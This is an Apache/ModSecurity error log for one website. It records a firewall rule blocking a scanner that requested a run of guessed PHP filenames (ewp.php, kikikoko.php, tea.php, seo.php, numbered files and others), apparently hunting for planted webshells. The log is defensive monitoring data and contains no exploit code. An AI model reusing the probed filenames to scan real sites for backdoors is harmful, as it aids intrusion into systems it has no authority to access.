[Mon Apr 20 01:59:31.651480 2026] [:error] [pid 15764:tid 15846] [client 72.146.9.108:24555] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeUYA2LL_sqdSHoVp-R3cAAAAlQ"]
[Mon Apr 20 01:59:32.356304 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:24074] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeUYBLimB-jol1fwqAoqXgAAAYw"]
[Mon Apr 20 01:59:35.024201 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:24107] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeUYB7imB-jol1fwqAoqZAAAAYM"]
[Mon Apr 20 01:59:36.319244 2026] [:error] [pid 47886:tid 47906] [client 72.146.9.108:24851] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeUYCESe8yiyuPrD7yOdvgAAANI"]
[Mon Apr 20 01:59:37.537019 2026] [:error] [pid 47772:tid 47805] [client 72.146.9.108:24870] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeUYCYc0L16cb4smAz8KtgAAABA"]
[Mon Apr 20 01:59:38.467146 2026] [:error] [pid 47773:tid 47839] [client 72.146.9.108:23597] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeUYCuiBHdnCJDuPq9B22AAAAFc"]
[Mon Apr 20 01:59:39.217373 2026] [:error] [pid 47773:tid 47824] [client 72.146.9.108:24882] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeUYC-iBHdnCJDuPq9B22QAAAEg"]
[Mon Apr 20 01:59:56.484654 2026] [autoindex:error] [pid 47775:tid 47854] [client 72.146.9.108:24100] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 02:00:01.671465 2026] [:error] [pid 47775:tid 47844] [client 72.146.9.108:24100] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeUYIbmztjlk9tsmoexEoQAAAIE"]
[Mon Apr 20 02:00:04.465132 2026] [:error] [pid 15764:tid 15827] [client 72.146.9.108:25416] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeUYJGLL_sqdSHoVp-R3iwAAAkE"]
[Mon Apr 20 02:00:05.768541 2026] [:error] [pid 15764:tid 15846] [client 72.146.9.108:25443] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeUYJWLL_sqdSHoVp-R3jAAAAlQ"]
[Mon Apr 20 02:00:06.528406 2026] [:error] [pid 15760:tid 15779] [client 72.146.9.108:24123] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeUYJvSdD_XHQMJ_ISuwFQAAAcs"]
[Mon Apr 20 02:00:07.218351 2026] [:error] [pid 47886:tid 47891] [client 72.146.9.108:24544] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeUYJ0Se8yiyuPrD7yOdyQAAAMM"]
[Mon Apr 20 02:00:08.004431 2026] [:error] [pid 47775:tid 47862] [client 72.146.9.108:25354] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeUYKLmztjlk9tsmoexEogAAAJM"]
[Mon Apr 20 02:00:08.794911 2026] [:error] [pid 15764:tid 15829] [client 72.146.9.108:24865] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeUYKGLL_sqdSHoVp-R3kwAAAkM"]
[Mon Apr 20 02:00:09.687964 2026] [:error] [pid 15764:tid 15835] [client 72.146.9.108:25433] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeUYKWLL_sqdSHoVp-R3lQAAAkk"]
[Mon Apr 20 02:00:10.248053 2026] [:error] [pid 47886:tid 47909] [client 72.146.9.108:24898] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeUYKkSe8yiyuPrD7yOdygAAANU"]
[Mon Apr 20 02:00:11.270942 2026] [:error] [pid 47773:tid 47834] [client 72.146.9.108:24451] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeUYK-iBHdnCJDuPq9B3BgAAAFI"]
[Mon Apr 20 02:00:12.138016 2026] [:error] [pid 47886:tid 47897] [client 72.146.9.108:24169] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeUYLESe8yiyuPrD7yOdzgAAAMk"]
[Mon Apr 20 02:00:12.836042 2026] [:error] [pid 15760:tid 15789] [client 72.146.9.108:25470] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeUYLPSdD_XHQMJ_ISuwGQAAAdU"]
[Mon Apr 20 02:00:13.655283 2026] [:error] [pid 15763:tid 15820] [client 72.146.9.108:24540] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeUYLbMXv1Y1THOoxaA6AAAAAhg"]
[Mon Apr 20 02:00:14.257473 2026] [:error] [pid 15765:tid 15872] [client 72.146.9.108:25374] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeUYLvRqinw-W5EwQ74d6AAAApM"]
[Mon Apr 20 02:00:14.756743 2026] [:error] [pid 15760:tid 15773] [client 72.146.9.108:24549] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeUYLvSdD_XHQMJ_ISuwKQAAAcU"]
[Mon Apr 20 02:00:15.269274 2026] [:error] [pid 15694:tid 15737] [client 72.146.9.108:24128] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeUYL7imB-jol1fwqAoqhQAAAYs"]
[Mon Apr 20 02:00:15.929867 2026] [:error] [pid 15765:tid 15852] [client 72.146.9.108:24935] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeUYL_Rqinw-W5EwQ74d6QAAAoA"]
[Mon Apr 20 02:00:17.132018 2026] [:error] [pid 15694:tid 15730] [client 72.146.9.108:24107] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeUYMbimB-jol1fwqAoqiAAAAYQ"]
[Mon Apr 20 02:00:17.722753 2026] [:error] [pid 15694:tid 15745] [client 72.146.9.108:25406] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeUYMbimB-jol1fwqAoqigAAAZM"]
[Mon Apr 20 02:00:18.369622 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:24835] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeUYMrimB-jol1fwqAoqjAAAAYw"]
[Mon Apr 20 02:00:19.199153 2026] [:error] [pid 15760:tid 15771] [client 72.146.9.108:24888] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeUYM_SdD_XHQMJ_ISuwMQAAAcM"]
[Mon Apr 20 02:00:19.980416 2026] [:error] [pid 47772:tid 47806] [client 72.146.9.108:24493] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeUYM4c0L16cb4smAz8KwAAAABE"]
[Mon Apr 20 02:00:20.828502 2026] [:error] [pid 15765:tid 15874] [client 72.146.9.108:25383] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeUYNPRqinw-W5EwQ74d6gAAApU"]
[Mon Apr 20 02:00:21.443216 2026] [:error] [pid 47886:tid 47896] [client 72.146.9.108:24575] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeUYNUSe8yiyuPrD7yOd0QAAAMg"]
[Mon Apr 20 02:00:22.324820 2026] [:error] [pid 15765:tid 15865] [client 72.146.9.108:25763] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeUYNvRqinw-W5EwQ74d6wAAAow"]
[Mon Apr 20 02:00:23.023908 2026] [:error] [pid 47886:tid 47901] [client 72.146.9.108:24488] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeUYN0Se8yiyuPrD7yOd0wAAAM0"]
[Mon Apr 20 02:00:23.614230 2026] [:error] [pid 15760:tid 15777] [client 72.146.9.108:25754] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeUYN_SdD_XHQMJ_ISuwNwAAAck"]
[Mon Apr 20 02:00:24.214061 2026] [:error] [pid 47775:tid 47866] [client 72.146.9.108:24832] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeUYOLmztjlk9tsmoexEqAAAAJc"]
[Mon Apr 20 02:00:24.709824 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:24489] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeUYOLimB-jol1fwqAoqkgAAAY4"]
[Mon Apr 20 02:00:25.286021 2026] [:error] [pid 15694:tid 15736] [client 72.146.9.108:24484] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeUYObimB-jol1fwqAoqkwAAAYo"]
[Mon Apr 20 02:00:25.983453 2026] [:error] [pid 47772:tid 47801] [client 72.146.9.108:24837] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeUYOYc0L16cb4smAz8KwwAAAAw"]
[Mon Apr 20 02:00:26.531886 2026] [:error] [pid 47773:tid 47836] [client 72.146.9.108:25807] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeUYOuiBHdnCJDuPq9B3CQAAAFQ"]
[Mon Apr 20 02:00:27.236068 2026] [:error] [pid 47772:tid 47796] [client 72.146.9.108:25825] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeUYO4c0L16cb4smAz8KxQAAAAc"]
[Mon Apr 20 02:00:27.773426 2026] [:error] [pid 47773:tid 47816] [client 72.146.9.108:25428] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeUYO-iBHdnCJDuPq9B3CwAAAEA"]
[Mon Apr 20 02:00:28.300091 2026] [:error] [pid 15760:tid 15773] [client 72.146.9.108:25835] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeUYPPSdD_XHQMJ_ISuwPwAAAcU"]
[Mon Apr 20 02:00:28.800580 2026] [:error] [pid 15760:tid 15792] [client 72.146.9.108:24556] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeUYPPSdD_XHQMJ_ISuwQQAAAdg"]
[Mon Apr 20 02:00:29.362654 2026] [:error] [pid 15760:tid 15784] [client 72.146.9.108:25423] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeUYPfSdD_XHQMJ_ISuwRQAAAdA"]
[Mon Apr 20 02:00:29.936345 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:25828] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeUYPbimB-jol1fwqAoqlQAAAY0"]
[Mon Apr 20 02:00:30.430962 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:24928] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeUYPrimB-jol1fwqAoqlgAAAYw"]
[Mon Apr 20 02:00:30.916038 2026] [:error] [pid 15765:tid 15876] [client 72.146.9.108:25741] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeUYPvRqinw-W5EwQ74d7QAAApc"]
[Mon Apr 20 02:00:31.669809 2026] [:error] [pid 47886:tid 47909] [client 72.146.9.108:25380] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeUYP0Se8yiyuPrD7yOd1QAAANU"]
[Mon Apr 20 02:00:32.216047 2026] [:error] [pid 15694:tid 15725] [client 72.146.9.108:25432] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeUYQLimB-jol1fwqAoqmgAAAYI"]
[Mon Apr 20 02:00:32.888642 2026] [:error] [pid 15765:tid 15868] [client 72.146.9.108:25755] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeUYQPRqinw-W5EwQ74d7gAAAo8"]
[Mon Apr 20 02:00:33.525145 2026] [:error] [pid 47772:tid 47793] [client 72.146.9.108:24515] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeUYQYc0L16cb4smAz8KzAAAAAQ"]
[Mon Apr 20 02:00:34.099531 2026] [:error] [pid 47775:tid 47862] [client 72.146.9.108:24075] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeUYQrmztjlk9tsmoexErAAAAJM"]
[Mon Apr 20 02:00:34.683638 2026] [:error] [pid 47773:tid 47820] [client 72.146.9.108:25360] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeUYQuiBHdnCJDuPq9B3DgAAAEQ"]
[Mon Apr 20 02:00:35.264462 2026] [:error] [pid 47886:tid 47900] [client 72.146.9.108:24834] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeUYQ0Se8yiyuPrD7yOd2QAAAMw"]
[Mon Apr 20 02:00:35.788991 2026] [:error] [pid 15694:tid 15746] [client 72.146.9.108:25849] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeUYQ7imB-jol1fwqAoqnQAAAZQ"]
[Mon Apr 20 02:00:36.318115 2026] [:error] [pid 47775:tid 47850] [client 72.146.9.108:24490] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeUYRLmztjlk9tsmoexErgAAAIc"]
